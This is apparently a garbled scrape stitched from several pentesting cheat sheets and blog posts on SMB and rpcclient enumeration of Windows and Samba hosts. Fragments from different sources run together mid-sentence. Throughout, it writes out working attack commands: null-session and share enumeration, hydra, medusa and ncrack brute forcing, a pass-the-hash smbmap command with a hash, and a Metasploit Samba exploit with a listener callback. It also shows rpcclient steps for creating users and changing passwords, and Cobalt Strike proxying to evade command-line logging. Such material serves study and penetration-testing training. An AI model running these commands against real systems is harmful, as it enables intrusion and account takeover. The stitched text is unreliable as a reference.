. In the demonstration, it can be observed that the current user has been allocated 35 privileges. This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4) result was NT_STATUS_NONE_MAPPED Honor privileges assigned to specific SID? SAMR If the permissions allow, an attacker can delete a group as well. The ability to manipulate a user doesnt end with creating a user or changing the password of a user. shutdown Remote Shutdown CTF solutions, malware analysis, home lab development, Looking up status of [ip] nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24, nmap --script smb-enum-shares -p 139,445 $ip, smbclient -L //10.10.10.3/ --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, nmap --script=smb-enum* --script-args=unsafe=1 -T5 $ip, nmap --script=smb-vuln* --script-args=unsafe=1 -T5 $ip, nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb2-vuln-uptime,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-vuln-conficker,smb-enum-groups,smb-vuln-cve2009-3103,smb-enum-processes,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-enum-shares,smb-vuln-ms07-029,smb-enum-users,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-ls,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-os-discovery --script-args=unsafe=1 -T5 $ip, nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script 'not brute and not dos and smb-*' -vv -d $ip, Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default, Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default. | Anonymous access: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) Query Group Information and Group Membership. When using querygroupmem, it will reveal information about that group member specific to that particular RID. debuglevel Set debug level Test. When it was passed as a parameter in the command lookupsids, the attacker was able to know that this belongs to the group Everyone. When provided with the username to the samlookupnames command, it can extract the RID of that particular user. Running something like ngrep -i -d tap0 's.?a.?m.?b.?a. | IDs: CVE:CVE-2006-2370 -d, --debuglevel=DEBUGLEVEL Set debug level getdriver Get print driver information -S, --signing=on|off|required Set the client signing state MAC Address: 00:50:56:XX:XX:XX (VMware) samsync Sam Synchronisation This information can be elaborated on using the querydispinfo. Cheatsheet. rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. In other words - it's possible to enumerate AD (or create/delete AD users, etc.) If in the above example the ttl=127, then it is safe to assume (from this information alone) that the host, 10.10.10.10, is a Linux host. The tool is written in Perl and is basically . This is an enumeration cheat sheet that I created while pursuing the OSCP. NETLOGON An attacker can create an account object based on the SID of that user. -W, --workgroup=WORKGROUP Set the workgroup name [hostname] <00> - M result was NT_STATUS_NONE_MAPPED The group information helps the attacker to plan their way to the Administrator or elevated access. This can be done by providing the Username and Password followed by the target IP address of the server. schannel Force RPC pipe connections to be sealed with 'schannel' (NETSEC). | LSARPC-DS --------------- ---------------------- is SMB over Ip. SeTakeOwnershipPrivilege 0:9 (0x0:0x9) Use `proxychains + command" to use the socks proxy. The next command that can be used via rpcclient is querydominfo. |_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug) path: C:\tmp result was NT_STATUS_NONE_MAPPED. --------------- ---------------------- for all files), recurse: toggles recursion on (default: off), prompt: toggles prompting for filenames off (default: on), mget: copies all files matching the mask from host to client machine, Specially interesting from shares are the files called, by all authenticated users in the domain. In the previous demonstration, the attacker was able to provide and remove privileges to a group. | smb-vuln-ms17-010: if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! To enumerate a particular user from rpcclient, the queryuser command must be used. Host script results: A collection of commands and tools used for conducting enumeration during my OSCP journey. -c, --command=COMMANDS Execute semicolon separated cmds This will use, as you point out, port 445. C$ NO ACCESS The tool that we will be using for all the enumerations and manipulations will be rpcclient. All rights reserved. Works well for listing and downloading files, and listing shares and permissions. SMB2 Windows Vista SP1 and Windows 2008, nmap -n -v -Pn -p139,445 -sV 192.168.0.101, smbclient -L \\$ip --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", # Will list all shares with available permissions, smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1, nmap --script smb-enum-shares -p 139,445 $ip, smbclient \\\\192.168.1.101\\C$ --option='client min protocol=NT1', smbclient \\\\192.168.1.101\\admin$ -U t-skid, # Connect with valid username and password, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. Let's see how this works by firstly updating the proxychains config file: Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: proxychains rpcclient 10.0.0.6 -U spotless, Victim (10.0.0.2) is enumerating DC (10.0.0.6) on behalf of attacker (10.0.0.5). What permissions must be assigned to the newly created files? 1. --------- -------, Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:25 EDT dfsadd Add a DFS share The below shows a couple of things. | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 May need to run a second time for success. --------------- ---------------------- Forbid the creation and modification of files? At last, it can be verified using the enumdomusers command. In the demonstration, a user hacker is created with the help of a createdomuser and then a password is provided to it using the setuserinfo2 command. rpcclient $> lookupnames root samlookupnames Look up names Assumes valid machine account to this domain controller. rpcclient $> netshareenum Next, we have two query-oriented commands. -l, --log-basename=LOGFILEBASE Basename for log/debug files Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. S-1-5-21-1835020781-2383529660-3657267081-1011 LEWISFAMILY\operator (2) REG result was NT_STATUS_NONE_MAPPED This can be extracted using the lookupnames command used earlier. This means that SMB is running with NetBIOS over TCP/IP**. Manh-Dung Nguyen Blog Pentest Publications Whoami @ can be cracked with, For passwordless login, add id_rsa.pub to target's authorized_keys, Add the extracted domain to /etc/hosts and dig again, rpcclient --user="" --command=enumprivs -N 10.10.10.10, rpcdump.py 10.11.1.121 -p 135 | grep ncacn_np // get pipe names, smbclient -L //10.10.10.10 -N // No password (SMB Null session), crackmapexec smb 10.10.10.10 -u '' -p '' --shares, crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares, crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares, crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name, crackmapexec smb 192.168.0.115 -u '' -p '' --shares --pass-pol, ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v, mount -t cifs "//10.1.1.1/share/" /mnt/wins, mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0. SaAddUsers 0:65281 (0x0:0xff01) ---- ----------- -N, --no-pass Don't ask for a password MAC Address = 00-50-56-XX-XX-XX, [+] Finding open SMB ports. ECHO After creating the group, it is possible to see the newly created group using the enumdomgroup command. | Type: STYPE_DISKTREE Since we already performed the enumeration of such data before in the article, we will enumerate using enumdomgroup and enumdomusers and the query-oriented commands in this demonstration. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1000 This command retrieves the domain, server, users on the system, and other relevant information. Learn offensive CTF training from certcube labs online . The main application area of the protocol has been the, operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed. Reverse Shell. For the demonstration here, RID 0x200 was used to find that it belongs to the Domain Admin groups. Are there any resources out there that go in-depth about SMB enumeration? enumprinters Enumerate printers Custom wordlist. LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds. Upon running this on the rpcclient shell, it will extract the usernames with their RID. The article is focused on Red Teamers but Blue Teamers and Purple Teamers can also use these commands to test the security configurations they deployed. *' # download everything recursively in the wwwroot share to /usr/share/smbmap. This article can serve as a reference for Red Team activists for attacking and enumerating the domain but it can also be helpful for the Blue Team to understand and test the measures applied on the domain to protect the Network and its users. This cheat sheet should not be considered to be complete and only represents a snapshot in time when I used these commands for performing enumeration during my OSCP journey. Get help on commands | A critical remote code execution vulnerability exists in Microsoft SMBv1 Curious to see if there are any "guides" out there that delve into SMB . How I Won 90 Days OSCP Lab Voucher for Free, https://github.com/s0wr0b1ndef/OSCP-note/, These notes are not in the context of any machines I had during the OSCP lab or exam. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). Copyright 2017 pentest.tonyng.net. Which script should be executed when the script gets closed? rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1002 netremotetod Fetch remote time of day Depending on the user privilege it is possible to change the password using the chgpasswd command. Enumerating Active Directory Using RPCClientInformation about password levels can be found using this MSDN article.https://docs.microsoft.com/en-us/openspecs. | \\[ip]\share: enumdrivers Enumerate installed printer drivers IS~[hostname] <00> - M S-1-5-21-1835020781-2383529660-3657267081-1001 LEWISFAMILY\wheel (2) rpcclient -U '%' -N <IP> Web-Enum . See the below example gif. help Get help on commands A Mind Map about OSCP Guide submitted by Rikunj Sindhwad on Jun 12, 2021. 631 - Internet Printing Protocol (IPP) 873 - Pentesting Rsync. LSARPC A collection of commands and tools used for conducting enumeration during my OSCP journey. password: SeSecurityPrivilege 0:8 (0x0:0x8) | Current user access: READ/WRITE lsalookupprivvalue Get a privilege value given its name getdispname Get the privilege name This detail includes the path of the share, remarks, it will indicate if the share has a password for access, it will tell the number of users accessing the share and what kind of access is allowed on the share. Most secure. queryusergroups Query user groups This is newer version of SMB. To do this first, the attacker needs a SID. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1005 SMB stands for Server Message Blocks. IPC$ NO ACCESS --------------- ---------------------- On other systems, youll find services and applications using port 139. abortshutdown Abort Shutdown so lets run rpcclient with no options to see whats available: SegFault:~ cg$ rpcclient rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1015 March 8, 2021 by Raj Chandel. Using rpcclient it is possible to create a group. S-1-5-21-1835020781-2383529660-3657267081-1009 LEWISFAMILY\tty (2) result was NT_STATUS_NONE_MAPPED Might ask for password. Enum4linux. dfsgetinfo Query DFS share info {% code-tabs-item title="attacker@cobaltstrike" %}, {% endcode-tabs-item %} Using lookupnames we can get the SID. rpcclient $> help Allow connecting to the service without using a password? | grep -oP 'UnixSamba. Further, when the attacker used the same SID as a parameter for lsaenumprivaccount, they were able to enumerate the levels of privileges such as high, low, and attribute. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). addform Add form A null session is a connection with a samba or SMB server that does not require authentication with a password. server type : 0x9a03. This is made from the words get domain password information. schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel' (NETSEC). After that command was run, rpcclient will give you the most excellent "rpcclient> " prompt. -i, --scope=SCOPE Use this Netbios scope, Authentication options: This can be obtained by running the lsaenumsid command. share Disk # lines. The hash can then be cracked offline or used in an. Disk Permissions SQL Injection & XSS Playground. <03> - M First one - two Cobalt Strike sessions: PID 260 - beacon injected into dllhost process. Assumes valid machine account to this domain controller. shutdowninit Remote Shutdown (over shutdown pipe) It is possible to enumerate the SAM data through the rpcclient as well. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1013 Replication READ ONLY *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) --------- ---- ------- -O, --socket-options=SOCKETOPTIONS socket options to use if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. 623/UDP/TCP - IPMI. Null sessions were enabled by default on legacy systems but have been disabled from Windows XP SP2 and Windows Server 2003. S-1-5-21-1835020781-2383529660-3657267081-1005 LEWISFAMILY\kmem (2) dfsexist Query DFS support S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) ADMIN$ Disk Remote Admin This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). So, it is also a good way to enumerate what kind of services might be running on the server, this can be done using enumdomgroup. After verifying that the privilege was added using the lsaenumprivaccount command, we removed the privileges from the user using the lsaremoveacctrights command. ** (extracted from, 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP), and entire directories and other network resources such as printers, routers, or interfaces released for the network. Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 Then the attacker used the SID to enumerate the privileges using the lsaenumacctrights command. #rpcclient $>srvinfo #rpcclient $>enumdomusers #rpcclient $>querydominfo #rpcclient $>getdompwinfo //password policy #rpcclient $>netshareenum #nmblookup -A 192.168.1.1 dsenumdomtrusts Enumerate all trusted domains in an AD forest | Current user access: To begin the enumeration, a connection needs to be established. 1080 - Pentesting Socks. If you're having trouble getting the version from the usual methods, you might have to use wireshark or tcpdump to inspect the packets. The alias is an alternate name that can be used to reference an object or element. MAC Address: 00:50:56:XX:XX:XX (VMware) For this particular demonstration, we will first need a SID. sign Force RPC pipe connections to be signed The next command that can be used is enumalsgroups. {% code-tabs-item title="attacker@kali" %}. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 . Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. | Anonymous access: READ You get the idea, was pretty much the same for the Ubuntu guy cept that his user accounts were -3000. If proper privileges are assigned it also possible to delete a user using the rpcclient. 1690825 blocks of size 2048. But sometimes these don't yield any interesting results. It is also possible to manipulate the privileges of that SID to make them either vulnerable to a particular privilege or remove the privilege of a user altogether. and therefore do not correspond to the rights assigned locally on the server. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. --------------- ---------------------- rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1010 4. Disk Permissions RPC is built on Microsofts COM and DCOM technologies. 139/tcp open netbios-ssn Learn more about the OS Versions. 445/tcp open microsoft-ds This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. In the demonstration presented, there are two domains: IGNITE and Builtin. [Update 2018-12-02] I just learned about smbmap, which is just great. S-1-5-21-1835020781-2383529660-3657267081-1007 LEWISFAMILY\sys (2) | VULNERABLE: Example output is long, but some highlights to look for: ngrep is a neat tool to grep on network data. The SID was retrieved using the lookupnames command. Initial Access. SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V D 0 Thu Sep 27 16:26:00 2018 This is an enumeration cheat sheet that I created while pursuing the OSCP. rewardone in the PWK forums posted a neat script to easily get Samba versions: When you run this on a box running Samba, you get results: When in doubt, we can check the smb version in PCAP. To enumerate these shares the attacker can use netshareenum on the rpcclient. After the user details and the group details, another information that can help an attacker that has retained the initial foothold on the domain is the Privileges. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 If used the RID is the parameter, the samlookuprids command can extract the username relevant to that particular RID. SYSVOL NO ACCESS, [+] Finding open SMB ports. In this specific demonstration, there are a bunch of users that include Administrator, yashika, aarti, raj, Pavan, etc. S-1-5-21-1835020781-2383529660-3657267081-1015 LEWISFAMILY\bin (2) In there you may, many different batch, VBScript, and PowerShell, using some discovered credentials. With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. This is an approach I came up with while researching on offensive security. Server Message Block in modern language is also known as. S-1-5-21-1835020781-2383529660-3657267081-1003 LEWISFAMILY\daemon (2) It contains contents from other blogs for my quick reference The RPC service works on the RPC protocols that form a low-level inter-process communication between different Applications.
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